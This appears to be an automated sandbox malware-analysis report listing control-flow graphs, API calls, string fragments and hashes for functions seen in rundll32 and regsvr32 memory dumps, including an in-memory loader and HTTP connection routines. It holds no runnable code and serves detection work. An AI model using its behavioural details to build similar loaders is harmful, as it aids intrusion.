21dbe810991-21dbe810997 120->129 130 21dbe810999-21dbe8109a0 120->130 121->111 131 21dbe8109cd-21dbe8109d3 122->131 132 21dbe8109d9-21dbe8109e9 VirtualProtect 122->132 123->96 138 21dbe810900-21dbe810905 123->138 124->123 125->124 125->125 134 21dbe8107e3-21dbe8107f0 127->134 135 21dbe8107db-21dbe8107e1 127->135 136 21dbe810844-21dbe810850 128->136 137 21dbe81083b 128->137 129->108 130->122 131->132 132->77 140 21dbe8107f2-21dbe8107f9 134->140 141 21dbe8107fb-21dbe81080d 134->141 139 21dbe810812-21dbe81082c 135->139 136->93 142 21dbe810856-21dbe810857 136->142 137->136 138->97 139->128 144 21dbe81082e-21dbe810833 139->144 140->140 140->141 141->139 142->80 144->127
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.487413971.0000021DBE810000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021DBE810000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_21dbe810000_rundll32.jbxd
                                                                        Similarity
                                                                        • API ID: Virtual$Alloc$FunctionInfoNativeProtectSystemTable
                                                                        • String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
                                                                        • API String ID: 394283112-2517549848
                                                                        • Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction ID: 71531650555a2533526a9060886f365e37225ea77ac0e99696cc2ba102cc1410
                                                                        • Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction Fuzzy Hash: C472C534518B48CBD759DF28C88A7E9B7E1FBA8304F21462DE88BD7251DB34D641CB86
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Executed Functions

                                                                        Function 00870000 Relevance: 76.3, APIs: 5, Strings: 38, Instructions: 1094memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 0 870000-870460 call 870aa8 * 2 VirtualAlloc 22 870462-870466 0->22 23 87048a-870494 0->23 24 870468-870488 22->24 26 870a91-870aa6 23->26 27 87049a-87049e 23->27 24->23 24->24 27->26 28 8704a4-8704a8 27->28 28->26 29 8704ae-8704b2 28->29 29->26 30 8704b8-8704bf 29->30 30->26 31 8704c5-8704d2 30->31 31->26 32 8704d8-8704e1 31->32 32->26 33 8704e7-8704f4 32->33 33->26 34 8704fa-870507 33->34 35 870531-870567 GetNativeSystemInfo 34->35 36 870509-870511 34->36 35->26 38 87056d-870589 VirtualAlloc 35->38 37 870513-870518 36->37 41 870521 37->41 42 87051a-87051f 37->42 39 8705a0-8705ac 38->39 40 87058b-87059e 38->40 43 8705af-8705b2 39->43 40->39 44 870523-87052f 41->44 42->44 46 8705b4-8705bf 43->46 47 8705c1-8705db 43->47 44->35 44->37 46->43 48 8705dd-8705e2 47->48 49 87061b-870622 47->49 50 8705e4-8705ea 48->50 51 8706db-8706e2 49->51 52 870628-87062f 49->52 53 8705ec-870609 50->53 54 87060b-870619 50->54 56 870864-87086b 51->56 57 8706e8-8706f9 51->57 52->51 55 870635-870642 52->55 53->53 53->54 54->49 54->50 55->51 60 870648-87064f 55->60 58 870917-870929 56->58 59 870871-87087f 56->59 61 870702-870705 57->61 64 870a07-870a1a 58->64 65 87092f-870937 58->65 66 87090e-870911 59->66 67 870654-870658 60->67 62 870707-87070a 61->62 63 8706fb-8706ff 61->63 69 87070c-87071d 62->69 70 870788-87078e 62->70 63->61 84 870a40-870a4a 64->84 85 870a1c-870a27 64->85 72 87093b-87093f 65->72 66->58 71 870884-8708a9 66->71 68 8706c0-8706ca 67->68 76 8706cc-8706d2 68->76 77 87065a-870669 68->77 73 870794-8707a2 69->73 74 87071f-870720 69->74 70->73 92 870907-87090c 71->92 93 8708ab-8708b1 71->93 78 870945-87095a 72->78 79 8709ec-8709fa 72->79 86 87085d-87085e 73->86 87 8707a8 73->87 83 870722-870784 74->83 76->67 88 8706d4-8706d5 76->88 80 87066b-870678 77->80 81 87067a-87067e 77->81 90 87095c-87095e 78->90 91 87097b-87097d 78->91 79->72 82 870a00-870a01 79->82 96 8706bd-8706be 80->96 97 870680-87068a 81->97 98 87068c-870690 81->98 82->64 83->83 101 870786 83->101 104 870a4c-870a54 84->104 105 870a7b-870a8e 84->105 102 870a38-870a3e 85->102 86->56 103 8707ae-8707d4 87->103 88->51 94 870960-87096c 90->94 95 87096e-870979 90->95 99 8709a2-8709a4 91->99 100 87097f-870981 91->100 92->66 114 8708b3-8708b9 93->114 115 8708bb-8708c8 93->115 106 8709be-8709bf 94->106 95->106 96->68 107 8706b6-8706ba 97->107 110 8706a5-8706a9 98->110 111 870692-8706a3 98->111 112 8709a6-8709aa 99->112 113 8709ac-8709bb 99->113 108 870983-870987 100->108 109 870989-87098b 100->109 101->73 102->84 116 870a29-870a35 102->116 131 8707d6-8707d9 103->131 132 870835-870839 103->132 104->105 117 870a56-870a79 RtlAddFunctionTable 104->117 105->26 120 8709c5-8709cb 106->120 107->96 108->106 109->99 118 87098d-87098f 109->118 110->96 119 8706ab-8706b3 110->119 111->107 112->106 113->106 121 8708ea-8708fe 114->121 122 8708d3-8708e5 115->122 123 8708ca-8708d1 115->123 116->102 117->105 126 870991-870997 118->126 127 870999-8709a0 118->127 119->107 128 8709cd-8709d3 120->128 129 8709d9-8709e9 VirtualProtect 120->129 121->92 139 870900-870905 121->139 122->121 123->122 123->123 126->106 127->120 128->129 129->79 136 8707e3-8707f0 131->136 137 8707db-8707e1 131->137 133 870844-870850 132->133 134 87083b 132->134 133->103 138 870856-870857 133->138 134->133 141 8707f2-8707f9 136->141 142 8707fb-87080d 136->142 140 870812-87082c 137->140 138->86 139->93 140->132 144 87082e-870833 140->144 141->141 141->142 142->140 144->131
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000B.00000002.885601374.0000000000870000.00000040.00001000.00020000.00000000.sdmp, Offset: 00870000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_11_2_870000_regsvr32.jbxd
                                                                        Similarity
                                                                        • API ID: Virtual$Alloc$FunctionInfoNativeProtectSystemTable
                                                                        • String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
                                                                        • API String ID: 394283112-2517549848
                                                                        • Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction ID: 0d13c4a3fc13887317965362e1eaf9812005a9c9aea17e2f96a6caeaf8a9a533
                                                                        • Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
                                                                        • Instruction Fuzzy Hash: 5B72A130618B48CBDB19DF18C8856B9B7E1FB98305F14862DE88ED7215DB34E946CF86
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001C9F0 Relevance: 5.5, Strings: 4, Instructions: 482COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 430 18001c9f0-18001ca68 call 180001000 433 18001ca70 430->433 434 18001ca72-18001ca77 433->434 435 18001ce66-18001ce97 434->435 436 18001ca7d-18001ca82 434->436 437 18001ce9d-18001cea2 435->437 438 18001d180-18001d18e 435->438 439 18001ce53-18001ce61 436->439 440 18001ca88-18001ca8d 436->440 441 18001cea4-18001ceab 437->441 442 18001ceca-18001cecd 437->442 452 18001d19a-18001d1af 438->452 453 18001d190-18001d195 438->453 439->434 443 18001cd61-18001ce3b call 18001e248 440->443 444 18001ca93-18001ca98 440->444 446 18001ceb9-18001cec5 441->446 447 18001cead-18001ceb1 441->447 442->446 448 18001cecf-18001d0c4 call 18001a130 call 180027d8c call 18001c9f0 442->448 457 18001ce40-18001ce49 443->457 450 18001cc82-18001cd30 call 18000b9e8 444->450 451 18001ca9e-18001caa3 444->451 446->434 447->442 454 18001ceb3-18001ceb7 447->454 476 18001d0c9-18001d17b call 18000f7bc 448->476 462 18001cd35-18001cd3c 450->462 458 18001caa9-18001caae 451->458 459 18001d1c0-18001d233 call 1800117ec 451->459 461 18001d1b4-18001d1b9 452->461 460 18001cd47-18001cd5c 453->460 454->442 454->446 457->439 458->461 465 18001cab4-18001cc7d call 18001f61c call 180027180 call 18000f7bc 458->465 466 18001d238-18001d250 459->466 460->434 461->466 467 18001d1bb 461->467 462->466 468 18001cd42 462->468 465->433 467->434 468->460 476->446
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000B.00000002.887240071.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_11_2_180001000_regsvr32.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: %d$et$p9$E%
                                                                        • API String ID: 0-2779957693
                                                                        • Opcode ID: 48ec8b1b1bbbc9fc28becce8326644315418b57cb87a2f48306ba2cbfa33ef8b
                                                                        • Instruction ID: 98fa068eb741bd308de9d56aa59bbaf4f2ede45b84b4817a6d028a7b3fe789da
                                                                        • Opcode Fuzzy Hash: 48ec8b1b1bbbc9fc28becce8326644315418b57cb87a2f48306ba2cbfa33ef8b
                                                                        • Instruction Fuzzy Hash: 6432E5715087C88FD798DFA8C58965AFBE1FBC8744F108A1DF486872A0D7B8D949CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180014368 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119networkCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 601 180014368-180014447 call 180001000 604 180014558-180014592 InternetConnectW 601->604 605 18001444d-180014552 call 18002412c 601->605 605->604
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000B.00000002.887240071.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_11_2_180001000_regsvr32.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: ConnectInternet
                                                                        • String ID: #X
                                                                        • API String ID: 3050416762-1684620495
                                                                        • Opcode ID: 5ce426e489b13cb5dd9426aa8df30c6c42626cb023b28a6060ff33400ea5f906
                                                                        • Instruction ID: b09f0f30a3bdf96574687939c5c1b68061ec3a55cd5335389f3e3d429b9e41e7
                                                                        • Opcode Fuzzy Hash: 5ce426e489b13cb5dd9426aa8df30c6c42626cb023b28a6060ff33400ea5f906
                                                                        • Instruction Fuzzy Hash: 4151B3B05087848BE3B8DF18D48579ABBE1FBC8355F508A1EE4CDD7251DBB49888CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180015A84 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 101networkCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 215 180015a84-180015b20 call 180001000 218 180015b26-180015c14 call 18002412c 215->218 219 180015c1a-180015c4d HttpOpenRequestW 215->219 218->219
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000B.00000002.887240071.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_11_2_180001000_regsvr32.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: HttpOpenRequest
                                                                        • String ID: )$6s$S}
                                                                        • API String ID: 1984915467-2961771619
                                                                        • Opcode ID: 49993eb3b17d39333e9e1259aed1d743b9c1b554fa7d30d8ee1f3a6d5df41434
                                                                        • Instruction ID: 62b9348d60e235f0ecbd883e965ab72dafc6200d9aa15d1d7b63a542b228016e
                                                                        • Opcode Fuzzy Hash: 49993eb3b17d39333e9e1259aed1d743b9c1b554fa7d30d8ee1f3a6d5df41434
                                                                        • Instruction Fuzzy Hash: 81411A706087848FE7B4CF18D485B9BB7E0FB89355F20891DE08DC7251DB789588CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180004A8C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 104COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 0000000B.00000002.887240071.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_11_2_180001000_regsvr32.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: InformationVolume
                                                                        • String ID: x`w
                                                                        • API String ID: 2039140958-3659642790
                                                                        • Opcode ID: b29f32be5ab8f120aeceb8c0cfe0e40151f68ac74143fd1404a76dc8bc8974b3
                                                                        • Instruction ID: f39b3c3b17c50353340e171c2c8fcbe664c5187ecf679f2970e5b3d5db022a48
                                                                        • Opcode Fuzzy Hash: b29f32be5ab8f120aeceb8c0cfe0e40151f68ac74143fd1404a76dc8bc8974b3
                                                                        • Instruction Fuzzy Hash: B2414A7150C7808FE7B8DF18D889B9AB7E0FB98315F108A5DE48DD7295DB788848CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%